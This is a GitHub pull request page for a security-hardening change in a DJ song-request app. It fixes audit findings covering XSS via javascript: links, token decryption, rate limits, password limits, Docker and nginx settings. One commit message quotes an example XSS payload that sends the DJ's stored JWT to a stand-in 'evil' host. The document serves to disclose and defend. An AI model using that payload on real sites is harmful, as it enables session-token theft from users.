Skip to content

security: close 13 HIGH findings from 2026-04-08 audit#233

Merged
thewrz merged 5 commits intomainfrom
fix/high-severity-2026-04-08
Apr 12, 2026
Merged

security: close 13 HIGH findings from 2026-04-08 audit#233
thewrz merged 5 commits intomainfrom
fix/high-severity-2026-04-08

Conversation

@thewrz
Copy link
Copy Markdown
Owner

@thewrz thewrz commented Apr 9, 2026

Summary

Closes 13 HIGH-severity vulnerabilities from the full-stack security audit.

Frontend

  • H-F1safeExternalUrl() helper blocks javascript: scheme in all 6 dynamic href sites. This was the most exploitable HIGH finding — a guest-submitted source_url with javascript: scheme could steal the DJ's JWT via XSS. 13 new vitest tests.

Backend crypto

  • H-C2decrypt_value now raises DecryptionError on InvalidToken instead of silently returning raw Fernet ciphertext (which would be sent to upstream APIs as bearer tokens)
  • H-C3 — Legacy plaintext passthrough gated behind ALLOW_LEGACY_PLAINTEXT_TOKENS setting (default True for migration compat)

Backend API hardening

  • H-A1 — Rate limits added to all 18 previously-unprotected mutating endpoints (admin CRUD, request status, tidal auth/sync, integration toggles, AI settings). 10/min for outbound-API-triggering endpoints, 30/min for standard CRUD.
  • H-A4max_length=128 on all password schema fields. Prevents bcrypt 72-byte silent truncation and unbounded-password DoS. 5 new tests.
  • H-A6timeout=10s on Turnstile httpx client. Cloudflare outage no longer hangs workers.

Infrastructure

  • H-I2Permissions-Policy header added to both nginx vhosts (camera, mic, geolocation, payment, USB restricted)
  • H-I4 — Docker containers hardened: no-new-privileges, cap_drop: ALL, read_only: true, pids_limit, mem_limit
  • H-I6 — Dev postgres bound to 127.0.0.1 instead of 0.0.0.0 (prevents LAN DB exposure)
  • H-I7 — HSTS upgraded to max-age=63072000; includeSubDomains; preload
  • H-I8 — Deprecated X-XSS-Protection header removed (OWASP recommendation)

Test plan

  • Backend: 1686 tests passed, 87.66% coverage (above 85% threshold)
  • Frontend: 777 tests passed, tsc clean
  • ruff check + format clean
  • bandit clean
  • Remote CI green (all jobs)
  • Manual smoke test after deploy

Remaining HIGH findings (deferred to follow-up PRs)

  • H-F2: Move JWT to httpOnly cookie (large cross-stack refactor)
  • H-A2: Per-event bridge token scoping (schema redesign)
  • H-C1: MultiFernet key rotation (crypto migration)
  • H-C4: Email encryption (needs hash-index strategy)
  • H-I1: Electron installer code signing
  • H-I3: Nonce-based CSP (needs Next.js middleware)
  • H-I5: Docker base image digest pinning

thewrz added 5 commits April 9, 2026 13:54
…H-A6, H-I6)

H-A4: Add max_length=128 to all password fields (AdminUserCreate,
AdminUserUpdate, RegisterRequest). Prevents bcrypt 72-byte silent
truncation and unbounded-password DoS. 5 new tests.

H-A6: Add timeout=10s to Turnstile httpx client and wrap in try/except.
Cloudflare outage no longer hangs uvicorn workers indefinitely.

H-I6: Bind dev postgres to 127.0.0.1:5432 instead of 0.0.0.0:5432.
Prevents LAN exposure on coffee-shop WiFi with hardcoded dev creds.

See docs/security/audit-2026-04-08.md H-A4, H-A6, H-I6.
…rough (H-C2, H-C3)

H-C2: decrypt_value raises DecryptionError on InvalidToken instead of
returning ciphertext. Prevents ciphertext leakage on key rotation.

H-C3: Legacy plaintext passthrough gated behind
ALLOW_LEGACY_PLAINTEXT_TOKENS (default True). Set False post-migration.

See docs/security/audit-2026-04-08.md H-C2, H-C3.
…t: XSS (H-F1)

React does NOT strip javascript: from href attributes in production
(only warns in dev). A guest submitting a song request with
source_url='javascript:fetch("//evil/?"+ localStorage.token)' could
steal the DJ's JWT when they click the open-link icon.

Adds safeExternalUrl() helper in dashboard/lib/safe-url.ts that allows
only http/https schemes. Applied to all 6 vulnerable call sites:

- RequestQueueSection.tsx:273 (guest-submitted source_url — most dangerous)
- RecommendationsCard.tsx:546 (track.url from recommendations)
- SyncReportPanel.tsx:230 (entry.url from sync results)
- SyncStatusBadges.tsx:80,154 (url from sync results)
- TidalLoginModal.tsx:41 (loginUrl from Tidal OAuth)
- PreviewPlayer.tsx:22 (data.sourceUrl from preview data)

13 new vitest tests cover javascript:, data:, vbscript:, null, empty,
invalid URLs, and valid Spotify/Beatport/Tidal URLs.

All 777 frontend tests pass, tsc --noEmit clean.

See docs/security/audit-2026-04-08.md H-F1.
Previously, mutating authenticated endpoints (admin CRUD, request
status updates, tidal auth/sync, integration toggles, AI settings)
had no rate limits. A compromised JWT could spam outbound API calls
(tidal sync, metadata refresh) or mass-delete platform data.

Applied rate limits:
- 30/minute: admin user/event CRUD, settings, integration toggles, AI settings
- 30/minute: request update, delete
- 10/minute: refresh-metadata (triggers outbound Beatport/MusicBrainz/Tidal)
- 10/minute: tidal auth start, disconnect, sync, link (trigger outbound calls)
- 30/minute: tidal auth check, cancel (lightweight)

All 142 affected tests pass with no regressions.

See docs/security/audit-2026-04-08.md H-A1.
…I8, H-I2)

H-I4: Added no-new-privileges, cap_drop ALL, read_only, pids_limit,
and mem_limit to api and web containers in deploy compose. Reduces
kernel attack surface on container escape.

H-I7: Upgraded HSTS to max-age=63072000 (2yr) with preload directive
on both nginx vhosts. Ready for hstspreload.org submission.

H-I8: Removed deprecated X-XSS-Protection header (OWASP recommends
removal — some old browsers had exploitable XSS auditor).

H-I2: Added Permissions-Policy header to both vhosts, restricting
camera, microphone, geolocation, payment, and USB APIs.

See docs/security/audit-2026-04-08.md H-I4, H-I7, H-I8, H-I2.
@thewrz thewrz merged commit 99a6fb7 into main Apr 12, 2026
8 checks passed
@thewrz thewrz deleted the fix/high-severity-2026-04-08 branch April 12, 2026 04:27
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant